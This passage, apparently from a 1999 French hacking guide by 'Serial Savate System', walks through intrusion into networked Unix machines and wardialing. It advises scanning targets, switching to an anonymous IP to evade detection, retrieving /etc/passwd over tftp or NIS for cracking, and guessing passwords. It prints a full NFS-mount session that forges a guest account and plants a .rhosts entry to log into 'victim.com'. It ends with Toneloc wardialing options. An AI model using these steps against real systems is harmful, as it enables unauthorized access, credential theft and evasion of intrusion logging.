routeur que nous usurpons. Il ne peut donc alors y avoir de retour. Ceci
pourrait peut être contourné en modifiant la configuration de la cible
via SNMP.
La fraude dans le cas de SNA sur X25 semble encore
plus complexe, car il est impératif de disposer d'un accès licitement
défini dans la VTAM list, faute de quoi la communication ne saura
s'établir.
Analyse des informations présentes dans la configuration d'un
routeur
La connaissance de sa propre adresse X25 est
probablement impossible, puisqu'il n'y a pas de raison qu'elle soit
mentionnée dans sa configuration.
Par contre, si l'on a accès aux configurations de
deux machines communiquant l'une avec l'autre à travers X25 en faisant
de l'encapsulation, il doit être possible de déperminer les adresses
X25 de chacune des deux :
- en regardant le routage au niveau de chacune des deux machines,
- en recherchant des correspondances d'adresses (par exemple IP et
X25) à corréler avec la connaissace des adresses autres qu'X25 qui
correspondent à chacun des deux équipements.
Phase 3 : Axe Internet
On dispose à l'issue de la phase 2 d'adresses IP de
réseau ou de machines accessibles.
Il n'existe pas de méthode toute faite pour le hack,
chaque hacker detient son experience, c'est souvent à partir ce cette
limite qu'il découvre son talent ou pas. A partir de cette étape tous
ce vous pouvez faire est considéré comme illicite par la loi.
Il existe des techniques d'approche, je vous ai présenté la ligne
directrice vers le hack de base, cette méthode présente un danger,
celui de la trace laissée par les différents outils utilisés (la
qualité d'un bon hack, va se lire à sa tracabilité):
- Pour commencer lancer les outils d'analyses :
- SATAN (semble être remplacé par SAINT) ou Nessus (pour plus
d'informations voir le hackoff7).
- ISS version freeware. Il fait tellement peu de chose que ce n'est
même pas la peine de le lancer.
- ISS en version commerciale => pour ceux qui l'ont acheté...
- NAT10 qui est un outil pour récupérer des infos sur les machines
supportant netbios.
A partir de cette étape, nous detenons un premièr
audit du réseau: machines par IP, type d'OS, les ports ouverts, et les
eventuels DOS connu par l'outils d'analyses. Le passage d'un tel outil
laisse des traces et il existe des logiciel pour répérer des
tentatives d'intrusions, il est préférable de se deconnecter et de se
faire attribuer une IP différentes, chez un provider gratuit avec une
identité inconnue (www.vunet.com)
La suite :
- utiliser les DOS et toutes les bug connus, identifiés en phase 2
:
- tftp pour rapatrier /etc/passwd, /etc/hosts, etc.
- partition NFS montable pour tous,
- NIS accessible,
- etc.
- se connecter à la machine au travers des émulateurs comme telnet,
rlogin, etc.
On connaît les noms des utilisateurs (via finger), on connaît
l'adresse IP de la machine, il est donc possible de tenter d'y acceder.
Telnet est disponible sous UNIX et sous Windows 3. A priori, il doit
être possible de le rapatrier sous WinNT et 95. Personnellement
j'utilise plutôt le telnet UNIX. Avec telnet, la commande est :
La machine vous demandera alors le nom d'utilisateur puis le mot de
passe si nécessaire. Si le compte dispose d'un mot de passe, on rentre
alors dans de la tentative de divination. Dans tous les cas, on obtient,
grâce à la bannière, le nom de la machine et très fréquemment son
OS. avec rlogin, la commande est :
- rlogin -l user @IP_machine
Il peut être interessant de tester des comptes autres que
"root" si par hasard la machine met en oeuvre un dispositif de
confiance. Lancer les outils d'analyse :
Satan est donc disponible sur la machine Linux spécialisée pour le
hacking. Utiliser les bugs détecté en phase 2 :
- vérifier s'il n'existe pas un compte "guest", "demo",
etc. sans mot de passe (rlogin ou telnet),
- vérifier si la machine n'accepte pas tftp,
- vérifier s'il n'est pas possible de monter par NFS une partition
utilisateur (showmount),
- vérifier si le client n'utilise pas NIS (ypxxxx dans rpcinfo) et
récupérer alors les tables NIS (la méthode n'est pas encore très
claire et n'est pas compilable sous linux qui ne supporte pas NIS
=> machine UNIX type SUN).
Si l'on est dans le cas 1,
- on se connecte, on recherche une faille système (.rhost,
hosts.equiv, etc.),
- on rapatrie le fichier /etc/passwd, s'il n'est pas en mode C2, on
y trouve les mots de passe chiffrés => on peut le casser avec le
logiciel cracker, sinon on y trouve quant même la liste des
utilisateurs et le champ commentaire associé (voir divination du
mot de passe).
Si l'on est dans le cas 2,
- on se connecte par tftp sur la cible,
- on tente de rapatrier le fichier /etc/passwd, s'il est accessible,
soit il contient les mots de passes chiffrés (passage du cracker),
sinon la liste des comptes (divination),
- on peut également voir quels sont les autres fichiers qui peuvent
être accédés.
Si l'on est dans le cas 3,
evil# mount victim.com:/export/foo /foo
evil# cd /foo
evil# ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil# echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil# ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo 194.86.157.110 >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
Si l'on est dans le cas 4,
- on recherche le nom de domaine (a faire),
- on utilise "ypcat -d nom_du_domaine passwd" pour
récupérer le fichier yppasswd et on le passe alors avec cracker
(cracker de mot de passe).
- retrouver les DOS fréquents sur l'OS cible et les essayer
Annexes
Annexe 1 : Toneloc : l'outil de recherche de modem
Toneloc
toneloc datafile /M:[mask] /R:[range] /D:[range]
/X:[mask] /#:[nombre] /C[config] /S:[StartTime] /E:[EndTime]
/H:[heure] /T:[-] /K:[-]
RQ : le séparateur ":" n'est pas
obligatoire
Datafile Pas clair : plutot le fichier contenant la
liste des plages de numéros à essayer (ou fichier dans lequel est
enregistré le résultat ?)
- /M:[mask] Le masque avec des X pour les numéros devant être
dialés par exemple /M:01419139XX
- /R:[range] Limitation du mask à une plage plus précise devant
être essayée par exemple /R:10-19
- /D:[range] Plage de numéros à ne pas essayer par exemple
/D:20-29
- /X:[mask] Masque des numéros à ne pas essayer (idem /D mais
sous forme de mask) par exemple /X:2X (rqs : ne pas mettre
014191392X et on peut mettre plusieurs exclusions)
- /#:[nombre] Limitation à un nombre d'appel précis par exemple
/#:99 pour nous
- /C[config] fichier de config de toneloc
- /S:[StartTime] heure de début en format /S:5:30p ou /S:17:30
- /E:[EndTime] heure de fin en format /E:5:30p ou /E:17:30
- /H:[heure] Durée de test (on utilise /E ou /H) format /H:3:30
- /T:[-] force un paramétre du fichier config.cfg : recherche de
tonalités (ou pas si /T:-)
- /K:[-] force un paramétre du fichier config.cfg : recherche de
porteuse (ou pas si /K:-)
Essai 1 : toneloc 01419139XX /D:10-99
Utilitaires autour de toneloc :
- TCONVERT : conversion de fichier de recherche de version
précédente
Annexe 2 : Liste des outils de hacking sous UNIX
Recoupement d'informations : cakeii
Validation et correction(s): tobozo
Derniere mise a jour : 04-aout-99
no© Serial Savate System
|